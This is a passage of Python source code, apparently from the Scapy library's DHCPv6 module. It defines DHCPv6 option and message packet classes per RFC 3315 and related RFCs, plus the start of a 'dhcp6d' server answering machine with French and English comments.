x)/100.) class DHCP6OptElapsedTime(_DHCP6OptGuessPayload):# RFC sect 22.9 name = "DHCP6 Elapsed Time Option" fields_desc = [ ShortEnumField("optcode", 8, dhcp6opts), ShortField("optlen", 2), _ElapsedTimeField("elapsedtime", 0) ] #### DHCPv6 Relay Message Option #################################### # Relayed message is seen as a payload. class DHCP6OptRelayMsg(_DHCP6GuessPayload):# RFC sect 22.10 name = "DHCP6 Relay Message Option" fields_desc = [ ShortEnumField("optcode", 9, dhcp6opts), ShortField("optlen", None)] def post_build(self, p, pay): if self.optlen is None: l = len(pay) p = p[:2]+struct.pack("!H", l) return p + pay #### DHCPv6 Authentication Option ################################### # The following fields are set in an Authentication option for the # Reconfigure Key Authentication Protocol: # # protocol 3 # # algorithm 1 # # RDM 0 # # The format of the Authentication information for the Reconfigure Key # Authentication Protocol is: # # 0 1 2 3 # 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | Type | Value (128 bits) | # +-+-+-+-+-+-+-+-+ | # . . # . . # . +-+-+-+-+-+-+-+-+ # | | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # # Type Type of data in Value field carried in this option: # # 1 Reconfigure Key value (used in Reply message). # # 2 HMAC-MD5 digest of the message (used in Reconfigure # message). # # Value Data as defined by field. # TODO : Decoding only at the moment class DHCP6OptAuth(_DHCP6OptGuessPayload): # RFC sect 22.11 name = "DHCP6 Option - Authentication" fields_desc = [ ShortEnumField("optcode", 11, dhcp6opts), FieldLenField("optlen", None, length_of="authinfo", adjust = lambda pkt,x: x+11), ByteField("proto", 3), # TODO : XXX ByteField("alg", 1), # TODO : XXX ByteField("rdm", 0), # TODO : XXX StrFixedLenField("replay", b"A"*8, 8), # TODO: XXX StrLenField("authinfo", b"", length_from = lambda pkt: pkt.optlen - 11) ] #### DHCPv6 Server Unicast Option ################################### class _SrvAddrField(IP6Field): def i2h(self, pkt, x): if x is None: return "::" return x def i2m(self, pkt, x): return inet_pton(socket.AF_INET6, self.i2h(pkt,x)) class DHCP6OptServerUnicast(_DHCP6OptGuessPayload):# RFC sect 22.12 name = "DHCP6 Server Unicast Option" fields_desc = [ ShortEnumField("optcode", 12, dhcp6opts), ShortField("optlen", 16 ), _SrvAddrField("srvaddr",None) ] #### DHCPv6 Status Code Option ###################################### dhcp6statuscodes = { 0:"Success", # sect 24.4 1:"UnspecFail", 2:"NoAddrsAvail", 3:"NoBinding", 4:"NotOnLink", 5:"UseMulticast", 6:"NoPrefixAvail"} # From RFC3633 class DHCP6OptStatusCode(_DHCP6OptGuessPayload):# RFC sect 22.13 name = "DHCP6 Status Code Option" fields_desc = [ ShortEnumField("optcode", 13, dhcp6opts), FieldLenField("optlen", None, length_of="statusmsg", fmt="!H", adjust = lambda pkt,x:x+2), ShortEnumField("statuscode",None,dhcp6statuscodes), StrLenField("statusmsg", b"", length_from = lambda pkt: pkt.optlen-2) ] #### DHCPv6 Rapid Commit Option ##################################### class DHCP6OptRapidCommit(_DHCP6OptGuessPayload): # RFC sect 22.14 name = "DHCP6 Rapid Commit Option" fields_desc = [ ShortEnumField("optcode", 14, dhcp6opts), ShortField("optlen", 0)] #### DHCPv6 User Class Option ####################################### class _UserClassDataField(PacketListField): def i2len(self, pkt, z): if z is None or z == []: return 0 return sum(map(lambda x: len(bytes(x)) ,z)) def getfield(self, pkt, s): l = self.length_from(pkt) lst = [] remain, payl = s[:l], s[l:] while len(remain)>0: p = self.m2i(pkt,remain) if conf.padding_layer in p: pad = p[conf.padding_layer] remain = pad.load del(pad.underlayer.payload) else: remain = b"" lst.append(p) return payl,lst class USER_CLASS_DATA(Packet): name = "user class data" fields_desc = [ FieldLenField("len", None, length_of="data"), StrLenField("data", b"", length_from = lambda pkt: pkt.len) ] def guess_payload_class(self, payload): return conf.padding_layer class DHCP6OptUserClass(_DHCP6OptGuessPayload):# RFC sect 22.15 name = "DHCP6 User Class Option" fields_desc = [ ShortEnumField("optcode", 15, dhcp6opts), FieldLenField("optlen", None, fmt="!H", length_of="userclassdata"), _UserClassDataField("userclassdata", [], USER_CLASS_DATA, length_from = lambda pkt: pkt.optlen) ] #### DHCPv6 Vendor Class Option ##################################### class _VendorClassDataField(_UserClassDataField): pass class VENDOR_CLASS_DATA(USER_CLASS_DATA): name = "vendor class data" class DHCP6OptVendorClass(_DHCP6OptGuessPayload):# RFC sect 22.16 name = "DHCP6 Vendor Class Option" fields_desc = [ ShortEnumField("optcode", 16, dhcp6opts), FieldLenField("optlen", None, length_of="vcdata", fmt="!H", adjust = lambda pkt,x: x+4), IntEnumField("enterprisenum",None , iana_enterprise_num ), _VendorClassDataField("vcdata", [], VENDOR_CLASS_DATA, length_from = lambda pkt: pkt.optlen-4) ] #### DHCPv6 Vendor-Specific Information Option ###################### class VENDOR_SPECIFIC_OPTION(_DHCP6OptGuessPayload): name = "vendor specific option data" fields_desc = [ ShortField("optcode", None), FieldLenField("optlen", None, length_of="optdata"), StrLenField("optdata", b"", length_from = lambda pkt: pkt.optlen) ] def guess_payload_class(self, payload): return conf.padding_layer # The third one that will be used for nothing interesting class DHCP6OptVendorSpecificInfo(_DHCP6OptGuessPayload):# RFC sect 22.17 name = "DHCP6 Vendor-specific Information Option" fields_desc = [ ShortEnumField("optcode", 17, dhcp6opts), FieldLenField("optlen", None, length_of="vso", fmt="!H", adjust = lambda pkt,x: x+4), IntEnumField("enterprisenum",None , iana_enterprise_num), _VendorClassDataField("vso", [], VENDOR_SPECIFIC_OPTION, length_from = lambda pkt: pkt.optlen-4) ] #### DHCPv6 Interface-ID Option ##################################### # Repasser sur cette option a la fin. Elle a pas l'air d'etre des # masses critique. class DHCP6OptIfaceId(_DHCP6OptGuessPayload):# RFC sect 22.18 name = "DHCP6 Interface-Id Option" fields_desc = [ ShortEnumField("optcode", 18, dhcp6opts), FieldLenField("optlen", None, fmt="!H", length_of="ifaceid"), StrLenField("ifaceid", b"", length_from = lambda pkt: pkt.optlen) ] #### DHCPv6 Reconfigure Message Option ############################## # A server includes a Reconfigure Message option in a Reconfigure # message to indicate to the client whether the client responds with a # renew message or an Informatiion-request message. class DHCP6OptReconfMsg(_DHCP6OptGuessPayload): # RFC sect 22.19 name = "DHCP6 Reconfigure Message Option" fields_desc = [ ShortEnumField("optcode", 19, dhcp6opts), ShortField("optlen", 1 ), ByteEnumField("msgtype", 11, { 5:"Renew Message", 11:"Information Request"}) ] #### DHCPv6 Reconfigure Accept Option ############################### # A client uses the Reconfigure Accept option to announce to the # server whether the client is willing to accept Recoonfigure # messages, and a server uses this option to tell the client whether # or not to accept Reconfigure messages. The default behavior in the # absence of this option, means unwillingness to accept reconfigure # messages, or instruction not to accept Reconfigure messages, for the # client and server messages, respectively. class DHCP6OptReconfAccept(_DHCP6OptGuessPayload): # RFC sect 22.20 name = "DHCP6 Reconfigure Accept Option" fields_desc = [ ShortEnumField("optcode", 20, dhcp6opts), ShortField("optlen", 0)] # As required in Sect 8. of RFC 3315, Domain Names must be encoded as # described in section 3.1 of RFC 1035 # XXX Label should be at most 63 octets in length : we do not enforce it # Total length of domain should be 255 : we do not enforce it either class DomainNameListField(StrLenField): islist = 1 def i2len(self, pkt, x): return len(self.i2m(pkt, x)) def m2i(self, pkt, x): res = [] while x: cur = [] #while x and x[0] != b'\x00': while x and x[0] != 0: l = (x[0]) cur.append(x[1:l+1]) x = x[l+1:] res.append(b".".join(cur)) if x and x[0] == 0: x = x[1:] return res def i2m(self, pkt, x): def conditionalTrailingDot(z): if z and z[-1] == 0: return z return z+b'\x00' res = b"" x = [ i.encode('ascii') for i in x if type(i) is str ] tmp = map(lambda y: map((lambda z: chr(len(z)).encode('ascii')+z), y.split(b'.')), x) return b"".join(map(lambda x: conditionalTrailingDot(b"".join(x)), tmp)) class DHCP6OptSIPDomains(_DHCP6OptGuessPayload): #RFC3319 name = "DHCP6 Option - SIP Servers Domain Name List" fields_desc = [ ShortEnumField("optcode", 21, dhcp6opts), FieldLenField("optlen", None, length_of="sipdomains"), DomainNameListField("sipdomains", [], length_from = lambda pkt: pkt.optlen) ] class DHCP6OptSIPServers(_DHCP6OptGuessPayload): #RFC3319 name = "DHCP6 Option - SIP Servers IPv6 Address List" fields_desc = [ ShortEnumField("optcode", 22, dhcp6opts), FieldLenField("optlen", None, length_of="sipservers"), IP6ListField("sipservers", [], length_from = lambda pkt: pkt.optlen) ] class DHCP6OptDNSServers(_DHCP6OptGuessPayload): #RFC3646 name = "DHCP6 Option - DNS Recursive Name Server" fields_desc = [ ShortEnumField("optcode", 23, dhcp6opts), FieldLenField("optlen", None, length_of="dnsservers"), IP6ListField("dnsservers", [], length_from = lambda pkt: pkt.optlen) ] class DHCP6OptDNSDomains(_DHCP6OptGuessPayload): #RFC3646 name = "DHCP6 Option - Domain Search List option" fields_desc = [ ShortEnumField("optcode", 24, dhcp6opts), FieldLenField("optlen", None, length_of="dnsdomains"), DomainNameListField("dnsdomains", [], length_from = lambda pkt: pkt.optlen) ] # TODO: Implement iaprefopts correctly when provided with more # information about it. class DHCP6OptIAPrefix(_DHCP6OptGuessPayload): #RFC3633 name = "DHCP6 Option - IA_PD Prefix option" fields_desc = [ ShortEnumField("optcode", 26, dhcp6opts), FieldLenField("optlen", None, length_of="iaprefopts", adjust = lambda pkt,x: x+26), IntField("preflft", 0), IntField("validlft", 0), ByteField("plen", 48), # TODO: Challenge that default value IP6Field("prefix", "2001:db8::"), # At least, global and won't hurt StrLenField("iaprefopts", b"", length_from = lambda pkt: pkt.optlen-26) ] class DHCP6OptIA_PD(_DHCP6OptGuessPayload): #RFC3633 name = "DHCP6 Option - Identity Association for Prefix Delegation" fields_desc = [ ShortEnumField("optcode", 25, dhcp6opts), FieldLenField("optlen", None, length_of="iapdopt", adjust = lambda pkt,x: x+12), IntField("iaid", 0), IntField("T1", 0), IntField("T2", 0), PacketListField("iapdopt", [], DHCP6OptIAPrefix, length_from = lambda pkt: pkt.optlen-12) ] class DHCP6OptNISServers(_DHCP6OptGuessPayload): #RFC3898 name = "DHCP6 Option - NIS Servers" fields_desc = [ ShortEnumField("optcode", 27, dhcp6opts), FieldLenField("optlen", None, length_of="nisservers"), IP6ListField("nisservers", [], length_from = lambda pkt: pkt.optlen) ] class DHCP6OptNISPServers(_DHCP6OptGuessPayload): #RFC3898 name = "DHCP6 Option - NIS+ Servers" fields_desc = [ ShortEnumField("optcode", 28, dhcp6opts), FieldLenField("optlen", None, length_of="nispservers"), IP6ListField("nispservers", [], length_from = lambda pkt: pkt.optlen) ] class DomainNameField(StrLenField): def getfield(self, pkt, s): l = self.length_from(pkt) return s[l:], self.m2i(pkt,s[:l]) def i2len(self, pkt, x): return len(self.i2m(pkt, x)) def m2i(self, pkt, x): cur = [] while x: l = (x[0]) cur.append(x[1:1+l]) x = x[l+1:] ret_str = b".".join(cur) return ret_str def i2m(self, pkt, x): if not x: return b"" tmp = b"".join(map(lambda z: chr(len(z)).encode('ascii')+z, x.split(b'.'))) return tmp class DHCP6OptNISDomain(_DHCP6OptGuessPayload): #RFC3898 name = "DHCP6 Option - NIS Domain Name" fields_desc = [ ShortEnumField("optcode", 29, dhcp6opts), FieldLenField("optlen", None, length_of="nisdomain"), DomainNameField("nisdomain", "", length_from = lambda pkt: pkt.optlen) ] class DHCP6OptNISPDomain(_DHCP6OptGuessPayload): #RFC3898 name = "DHCP6 Option - NIS+ Domain Name" fields_desc = [ ShortEnumField("optcode", 30, dhcp6opts), FieldLenField("optlen", None, length_of="nispdomain"), DomainNameField("nispdomain", "", length_from= lambda pkt: pkt.optlen) ] class DHCP6OptSNTPServers(_DHCP6OptGuessPayload): #RFC4075 name = "DHCP6 option - SNTP Servers" fields_desc = [ ShortEnumField("optcode", 31, dhcp6opts), FieldLenField("optlen", None, length_of="sntpservers"), IP6ListField("sntpservers", [], length_from = lambda pkt: pkt.optlen) ] IRT_DEFAULT=86400 IRT_MINIMUM=600 class DHCP6OptInfoRefreshTime(_DHCP6OptGuessPayload): #RFC4242 name = "DHCP6 Option - Information Refresh Time" fields_desc = [ ShortEnumField("optcode", 32, dhcp6opts), ShortField("optlen", 4), IntField("reftime", IRT_DEFAULT)] # One day class DHCP6OptBCMCSDomains(_DHCP6OptGuessPayload): #RFC4280 name = "DHCP6 Option - BCMCS Domain Name List" fields_desc = [ ShortEnumField("optcode", 33, dhcp6opts), FieldLenField("optlen", None, length_of="bcmcsdomains"), DomainNameListField("bcmcsdomains", [], length_from = lambda pkt: pkt.optlen) ] class DHCP6OptBCMCSServers(_DHCP6OptGuessPayload): #RFC4280 name = "DHCP6 Option - BCMCS Addresses List" fields_desc = [ ShortEnumField("optcode", 34, dhcp6opts), FieldLenField("optlen", None, length_of="bcmcsservers"), IP6ListField("bcmcsservers", [], length_from= lambda pkt: pkt.optlen) ] # TODO : Does Nothing at the moment class DHCP6OptGeoConf(_DHCP6OptGuessPayload): #RFC-ietf-geopriv-dhcp-civil-09.txt name = "" fields_desc = [ ShortEnumField("optcode", 36, dhcp6opts), FieldLenField("optlen", None, length_of="optdata"), StrLenField("optdata", "", length_from = lambda pkt: pkt.optlen) ] # TODO: see if we encounter opaque values from vendor devices class DHCP6OptRemoteID(_DHCP6OptGuessPayload): #RFC4649 name = "DHCP6 Option - Relay Agent Remote-ID" fields_desc = [ ShortEnumField("optcode", 37, dhcp6opts), FieldLenField("optlen", None, length_of="remoteid", adjust = lambda pkt,x: x+4), IntEnumField("enterprisenum", None, iana_enterprise_num), StrLenField("remoteid", b"", length_from = lambda pkt: pkt.optlen-4) ] # TODO : 'subscriberid' default value should be at least 1 byte long class DHCP6OptSubscriberID(_DHCP6OptGuessPayload): #RFC4580 name = "DHCP6 Option - Subscriber ID" fields_desc = [ ShortEnumField("optcode", 38, dhcp6opts), FieldLenField("optlen", None, length_of="subscriberid"), StrLenField("subscriberid", b"", length_from = lambda pkt: pkt.optlen) ] # TODO : "The data in the Domain Name field MUST be encoded # as described in Section 8 of [5]" class DHCP6OptClientFQDN(_DHCP6OptGuessPayload): #RFC4704 name = "DHCP6 Option - Client FQDN" fields_desc = [ ShortEnumField("optcode", 39, dhcp6opts), FieldLenField("optlen", None, length_of="fqdn", adjust = lambda pkt,x: x+1), BitField("res", 0, 5), FlagsField("flags", 0, 3, "SON" ), DomainNameField("fqdn", "", length_from = lambda pkt: pkt.optlen-1) ] class DHCP6OptRelayAgentERO(_DHCP6OptGuessPayload): # RFC4994 name = "DHCP6 Option - RelayRequest Option" fields_desc = [ ShortEnumField("optcode", 43, dhcp6opts), FieldLenField("optlen", None, length_of="reqopts", fmt="!H"), _OptReqListField("reqopts", [23, 24], length_from = lambda pkt: pkt.optlen) ] ##################################################################### ### DHCPv6 messages ### ##################################################################### # Some state parameters of the protocols that should probably be # useful to have in the configuration (and keep up-to-date) DHCP6RelayAgentUnicastAddr="" DHCP6RelayHopCount="" DHCP6ServerUnicastAddr="" DHCP6ClientUnicastAddr="" DHCP6ClientIA_TA="" DHCP6ClientIA_NA="" DHCP6ClientIAID="" T1="" # Voir 2462 T2="" # Voir 2462 DHCP6ServerDUID="" DHCP6CurrentTransactionID="" # devrait etre utilise pour matcher une # reponse et mis a jour en mode client par une valeur aleatoire pour # laquelle on attend un retour de la part d'un serveur. DHCP6PrefVal="" # la valeur de preference a utiliser dans # les options preference # Emitted by : # - server : ADVERTISE, REPLY, RECONFIGURE, RELAY-REPL (vers relay) # - client : SOLICIT, REQUEST, CONFIRM, RENEW, REBIND, RELEASE, DECLINE, # INFORMATION REQUEST # - relay : RELAY-FORW (toward server) ##################################################################### ## DHCPv6 messages sent between Clients and Servers (types 1 to 11) # Comme specifie en section 15.1 de la RFC 3315, les valeurs de # transaction id sont selectionnees de maniere aleatoire par le client # a chaque emission et doivent matcher dans les reponses faites par # les clients class DHCP6(_DHCP6OptGuessPayload): name = "DHCPv6 Generic Message)" fields_desc = [ ByteEnumField("msgtype",None,dhcp6types), X3BytesField("trid",0x000000) ] overload_fields = { UDP: {"sport": 546, "dport": 547} } def hashret(self): return struct.pack("!I", self.trid)[1:4] ##################################################################### # Solicit Message : sect 17.1.1 RFC3315 # - sent by client # - must include a client identifier option # - the client may include IA options for any IAs to which it wants the # server to assign address # - The client use IA_NA options to request the assignment of # non-temporary addresses and uses IA_TA options to request the # assignment of temporary addresses # - The client should include an Option Request option to indicate the # options the client is interested in receiving (eventually # including hints) # - The client includes a Reconfigure Accept option if is willing to # accept Reconfigure messages from the server. # Le cas du send and reply est assez particulier car suivant la # presence d'une option rapid commit dans le solicit, l'attente # s'arrete au premier message de reponse recu ou alors apres un # timeout. De la meme maniere, si un message Advertise arrive avec une # valeur de preference de 255, il arrete l'attente et envoie une # Request. # - The client announces its intention to use DHCP authentication by # including an Authentication option in its solicit message. The # server selects a key for the client based on the client's DUID. The # client and server use that key to authenticate all DHCP messages # exchanged during the session class DHCP6_Solicit(DHCP6): name = "DHCPv6 Solicit Message" msgtype = 1 overload_fields = { UDP: {"sport": 546, "dport": 547} } ##################################################################### # Advertise Message # - sent by server # - Includes a server identifier option # - Includes a client identifier option # - the client identifier option must match the client's DUID # - transaction ID must match class DHCP6_Advertise(DHCP6): name = "DHCPv6 Advertise Message" msgtype = 2 overload_fields = { UDP: {"sport": 547, "dport": 546} } def answers(self, other): return (isinstance(other,DHCP6_Solicit) and other.msgtype == 1 and self.trid == other.trid) ##################################################################### # Request Message # - sent by clients # - includes a server identifier option # - the content of Server Identifier option must match server's DUID # - includes a client identifier option # - must include an ORO Option (even with hints) p40 # - can includes a reconfigure Accept option indicating whether or # not the client is willing to accept Reconfigure messages from # the server (p40) # - When the server receives a Request message via unicast from a # client to which the server has not sent a unicast option, the server # discards the Request message and responds with a Reply message # containinig Status Code option with the value UseMulticast, a Server # Identifier Option containing the server's DUID, the client # Identifier option from the client message and no other option. class DHCP6_Request(DHCP6): name = "DHCPv6 Request Message" msgtype = 3 ##################################################################### # Confirm Message # - sent by clients # - must include a clien identifier option # - When the server receives a Confirm Message, the server determines # whether the addresses in the Confirm message are appropriate for the # link to which the client is attached. cf p50 class DHCP6_Confirm(DHCP6): name = "DHCPv6 Confirm Message" msgtype = 4 ##################################################################### # Renew Message # - sent by clients # - must include a server identifier option # - content of server identifier option must match the server's identifier # - must include a client identifier option # - the clients includes any IA assigned to the interface that may # have moved to a new link, along with the addresses associated with # those IAs in its confirm messages # - When the server receives a Renew message that contains an IA # option from a client, it locates the client's binding and verifies # that the information in the IA from the client matches the # information for that client. If the server cannot find a client # entry for the IA the server returns the IA containing no addresses # with a status code option est to NoBinding in the Reply message. cf # p51 pour le reste. class DHCP6_Renew(DHCP6): name = "DHCPv6 Renew Message" msgtype = 5 ##################################################################### # Rebind Message # - sent by clients # - must include a client identifier option # cf p52 class DHCP6_Rebind(DHCP6): name = "DHCPv6 Rebind Message" msgtype = 6 ##################################################################### # Reply Message # - sent by servers # - the message must include a server identifier option # - transaction-id field must match the value of original message # The server includes a Rapid Commit option in the Reply message to # indicate that the reply is in response to a solicit message # - if the client receives a reply message with a Status code option # with the value UseMulticast, the client records the receipt of the # message and sends subsequent messages to the server through the # interface on which the message was received using multicast. The # client resends the original message using multicast # - When the client receives a NotOnLink status from the server in # response to a Confirm message, the client performs DHCP server # solicitation as described in section 17 and client-initiated # configuration as descrribed in section 18 (RFC 3315) # - when the client receives a NotOnLink status from the server in # response to a Request, the client can either re-issue the Request # without specifying any addresses or restart the DHCP server # discovery process. # - the server must include a server identifier option containing the # server's DUID in the Reply message class DHCP6_Reply(DHCP6): name = "DHCPv6 Reply Message" msgtype = 7 overload_fields = { UDP: {"sport": 547, "dport": 546} } def answers(self, other): types = (DHCP6_InfoRequest, DHCP6_Confirm, DHCP6_Rebind, DHCP6_Decline, DHCP6_Request, DHCP6_Release, DHCP6_Renew) return (isinstance(other, types) and self.trid == other.trid) ##################################################################### # Release Message # - sent by clients # - must include a server identifier option # cf p53 class DHCP6_Release(DHCP6): name = "DHCPv6 Release Message" msgtype = 8 ##################################################################### # Decline Message # - sent by clients # - must include a client identifier option # - Server identifier option must match server identifier # - The addresses to be declined must be included in the IAs. Any # addresses for the IAs the client wishes to continue to use should # not be in added to the IAs. # - cf p54 class DHCP6_Decline(DHCP6): name = "DHCPv6 Decline Message" msgtype = 9 ##################################################################### # Reconfigure Message # - sent by servers # - must be unicast to the client # - must include a server identifier option # - must include a client identifier option that contains the client DUID # - must contain a Reconfigure Message Option and the message type # must be a valid value # - the server sets the transaction-id to 0 # - The server must use DHCP Authentication in the Reconfigure # message. Autant dire que ca va pas etre le type de message qu'on va # voir le plus souvent. class DHCP6_Reconf(DHCP6): name = "DHCPv6 Reconfigure Message" msgtype = 10 overload_fields = { UDP: { "sport": 547, "dport": 546 } } ##################################################################### # Information-Request Message # - sent by clients when needs configuration information but no # addresses. # - client should include a client identifier option to identify # itself. If it doesn't the server is not able to return client # specific options or the server can choose to not respond to the # message at all. The client must include a client identifier option # if the message will be authenticated. # - client must include an ORO of option she's interested in receiving # (can include hints) class DHCP6_InfoRequest(DHCP6): name = "DHCPv6 Information Request Message" msgtype = 11 ##################################################################### # Relay-Forward Message # sent from Relay Agents to other Relay Agents or Servers # MUST include a Relay message option (Section 7.1 of RFC 3315) # If the relay agent relays messages to the All_DHCP_Servers multicast # address or other multicast addresses, it sets the Hop Limit field to # 32. class DHCP6_RelayForward(_DHCP6OptGuessPayload,Packet): name = "DHCPv6 Relay Forward Message (Relay Agent/Server Message)" fields_desc = [ByteEnumField("msgtype", 12, dhcp6types), ByteField("hopcount", 0), IP6Field("linkaddr", "::"), IP6Field("peeraddr", "::")] def hashret(self): # we filter on peer address field return inet_pton(socket.AF_INET6, self.peeraddr) ##################################################################### # Relay-Reply Message # sent from Servers or Relay Agents to Relay Agents # MUST include a Relay message option (Section 7.2 of RFC 3315) # Les valeurs des champs hop-count, link-addr et peer-addr # sont copiees du messsage Forward associe. POur le suivi de session. # Pour le moment, comme decrit dans le commentaire, le hashret # se limite au contenu du champ peer address. # Voir section 7.2 de la 3315. # - sent by servers to relay agents # - if the solicit message was received in a Relay-Forward message, # the server constructs a relay-reply message with the Advertise # message in the payload of a relay-message. cf page 37/101. Envoie de # ce message en unicast au relay-agent. utilisation de l'adresse ip # presente en ip source du paquet recu class DHCP6_RelayReply(_DHCP6OptGuessPayload,Packet): name = "DHCPv6 Relay Reply Message (Relay Agent/Server Message)" fields_desc = [ByteEnumField("msgtype", 13, dhcp6types), ByteField("hopcount", 0), IP6Field("linkaddr", "::"), IP6Field("peeraddr", "::")] def hashret(self): # We filter on peer address field. return inet_pton(socket.AF_INET6, self.peeraddr) def answers(self, other): return (isinstance(other, DHCP6_RelayForward) and self.hopcount == other.hopcount and self.linkaddr == other.linkaddr and self.peeraddr == other.peeraddr ) dhcp6_cls_by_type = { 1: "DHCP6_Solicit", 2: "DHCP6_Advertise", 3: "DHCP6_Request", 4: "DHCP6_Confirm", 5: "DHCP6_Renew", 6: "DHCP6_Rebind", 7: "DHCP6_Reply", 8: "DHCP6_Release", 9: "DHCP6_Decline", 10: "DHCP6_Reconf", 11: "DHCP6_InfoRequest", 12: "DHCP6_RelayForward", 13: "DHCP6_RelayReply" } def _dhcp6_dispatcher(x, *args, **kargs): cls = conf.raw_layer if len(x) >= 2: cls = get_cls(dhcp6_cls_by_type.get((x[0]), "Raw"), conf.raw_layer) return cls(x, *args, **kargs) bind_bottom_up(UDP, _dhcp6_dispatcher, { "dport": 547 } ) bind_bottom_up(UDP, _dhcp6_dispatcher, { "dport": 546 } ) class DHCPv6_am(AnsweringMachine): function_name = "dhcp6d" filter = "udp and port 546 and port 547" send_function = staticmethod(send) def usage(self): msg = """ dhcp6d( dns="2001:500::1035", domain="localdomain, local", duid=None) iface=conf.iface6, advpref=255, sntpservers=None, sipdomains=None, sipservers=None, nisdomain=None, nisservers=None, nispdomain=None, nispservers=None, bcmcsdomain=None, bcmcsservers=None) debug : When set, additional debugging information is printed. duid : some DUID class (DUID_LLT, DUID_LL or DUID_EN). If none is provided a DUID_LLT is constructed based on the MAC address of the sending interface and launch time of dhcp6d answering machine. iface : the interface to listen/reply on if you do not want to use conf.iface6. advpref : Value in [0,255] given to Advertise preference field. By default, 255 is used. Be aware that this specific value makes clients stops waiting for further Advertise messages from other servers. dns : list of recursive DNS servers addresses (as a string or list). By default, it is set empty and the associated DHCP6OptDNSServers option is inactive. See RFC 3646 for details. domain : a list of DNS search domain (as a string or list). By default, it is empty and the associated DHCP6OptDomains option is inactive. See RFC 3646 for details. sntpservers : a list of SNTP servers IPv6 addresses. By default, it is empty and the associated DHCP6OptSNTPServers option is inactive. sipdomains : a list of SIP domains. By default, it is empty and the associated DHCP6OptSIPDomains option is inactive. See RFC 3319 for details. sipservers : a list of SIP servers IPv6 addresses. By default, it is empty and the associated DHCP6OptSIPDomains option is inactive. See RFC 3319 for details. nisdomain : a list of NIS domains. By default, it is empty and the associated DHCP6OptNISDomains option is inactive. See RFC 3898 for details. See RFC 3646 for details. nisservers : a list of NIS servers IPv6 addresses. By default, it is empty and the associated DHCP6OptNISServers option is inactive. See RFC 3646 for details. nispdomain : a list of NIS+ domains. By default, it is empty and the associated DHCP6OptNISPDomains option is inactive. See RFC 3898 for details. nispservers : a list of NIS+ servers IPv6 addresses. By default, it is empty and the associated DHCP6OptNISServers option is inactive. See RFC 3898 for details. bcmcsdomain : a list of BCMCS domains. By default, it is empty and the associated DHCP6OptBCMCSDomains option is inactive. See RFC 4280 for details. bcmcsservers : a list of BCMCS servers IPv6 addresses. By default, it is empty and the associated DHCP6OptBCMCSServers option is inactive. See RFC 4280 for details. If you have a need for others, just ask ... or provide a patch.""" print(msg) def parse_options(self, dns="2001:500::1035", domain="localdomain, local", startip="2001:db8::1", endip="2001:db8::20", duid=None, sntpservers=None, sipdomains=None, sipservers=None, nisdomain=None, nisservers=None, nispdomain=None, nispservers=None, bcmcsservers=None, bcmcsdomains=None, iface=None, debug=0, advpref=255): def norm_list(val, param_name): if val is None: return None if type(val) is list: return val elif type(val) is str: l = val.split(',') return map(lambda x: x.strip(), l) else: print("Bad '%s' parameter provided." % param_name) self.usage() return -1 if iface is None: iface = conf.iface6 self.debug = debug # Dictionary of provided DHCPv6 options, keyed by option type self.dhcpv6_options={} for o in [(dns, "dns", 23, lambda x: DHCP6OptDNSServers(dnsservers=x)), (domain, "domain", 24, lambda x: DHCP6OptDNSDomains(dnsdomains=x)), (sntpservers, "sntpservers", 31, lambda x: DHCP6OptSNTPServers(sntpservers=x)), (sipservers, "sipservers", 22, lambda x: DHCP6OptSIPServers(sipservers=x)), (sipdomains, "sipdomains", 21, lambda x: DHCP6OptSIPDomains(sipdomains=x)), (nisservers, "nisservers", 27, lambda x: DHCP6OptNISServers(nisservers=x)), (nisdomain, "nisdomain", 29, lambda x: DHCP6OptNISDomain(nisdomain=(x+[""])[0])), (nispservers, "nispservers", 28, lambda x: DHCP6OptNISPServers(nispservers=x)), (nispdomain, "nispdomain", 30, lambda x: DHCP6OptNISPDomain(nispdomain=(x+[""])[0])), (bcmcsservers, "bcmcsservers", 33, lambda x: DHCP6OptBCMCSServers(bcmcsservers=x)), (bcmcsdomains, "bcmcsdomains", 34, lambda x: DHCP6OptBCMCSDomains(bcmcsdomains=x))]: opt = norm_list(o[0], o[1]) if opt == -1: # Usage() was triggered return False elif opt is None: # We won't return that option pass else: self.dhcpv6_options[o[2]] = o[3](opt) if self.debug: print("\n[+] List of active DHCPv6 options:") opts = self.dhcpv6_options.keys() opts.sort() for i in opts: print(" %d: %s" % (i, repr(self.dhcpv6_options[i]))) # Preference value used in Advertise. self.advpref = advpref # IP Pool self.startip = startip self.endip = endip # XXX TODO Check IPs are in same subnet #### # The interface we are listening/replying on self.iface = iface #### # Generate a server DUID if duid is not None: self.duid = duid else: # Timeval from time import gmtime, strftime, mktime epoch = (2000, 1, 1, 0, 0, 0, 5, 1, 0) delta = mktime(epoch) - mktime(gmtime(0)) timeval = time.time() - delta # Mac Address rawmac = get_if_raw_hwaddr(iface) mac = ":".join(map(lambda x: "%.02x" % x, rawmac)) self.duid = DUID_LLT(timeval = timeval, lladdr = mac) if self.debug: print("\n[+] Our server DUID:" ) self.duid.show(label_lvl=" "*4) #### # Find the source address we will use #l = filter(lambda x: x[2] == iface and in6_islladdr(x[0]), in6_getifaddr()) l = [ x for x in in6_getifaddr() if x[2] == iface and in6_islladdr(x[0]) ] if not l: warning("Unable to get a Link-Local address") return self.src_addr = l[0][0] #### # Our leases self.leases = {} if self.debug: print("\n[+] Starting DHCPv6 service on %s:" % self.iface ) def is_request(self, p): if not IPv6 in p: return False src = p[IPv6].src dst = p[IPv6].dst p = p[IPv6].payload if not isinstance(p, UDP) or p.sport != 546 or p.dport != 547 : return False p = p.payload if not isinstance(p, DHCP6): return False # Message we considered client messages : # Solicit (1), Request (3), Confirm (4), Renew (5), Rebind (6) # Decline (9), Release (8), Information-request (11), if not (p.msgtype in [1, 3, 4, 5, 6, 8, 9, 11]): return False # Message validation following section 15 of RFC 3315 if ((p.msgtype == 1) or # Solicit (p.msgtype == 6) or # Rebind (p.msgtype == 4)): # Confirm if ((not DHCP6OptClientId in p) or DHCP6OptServerId in p): return False if (p.msgtype == 6 or # Rebind p.msgtype == 4): # Confirm # XXX We do not reply to Confirm or Rebind as we # XXX do not support address assignment return False elif (p.msgtype == 3 or # Request p.msgtype == 5 or # Renew p.msgtype == 8): # Release # Both options must be present if ((not DHCP6OptServerId in p) or (not DHCP6OptClientId in p)): return False # provided server DUID must match ours duid = 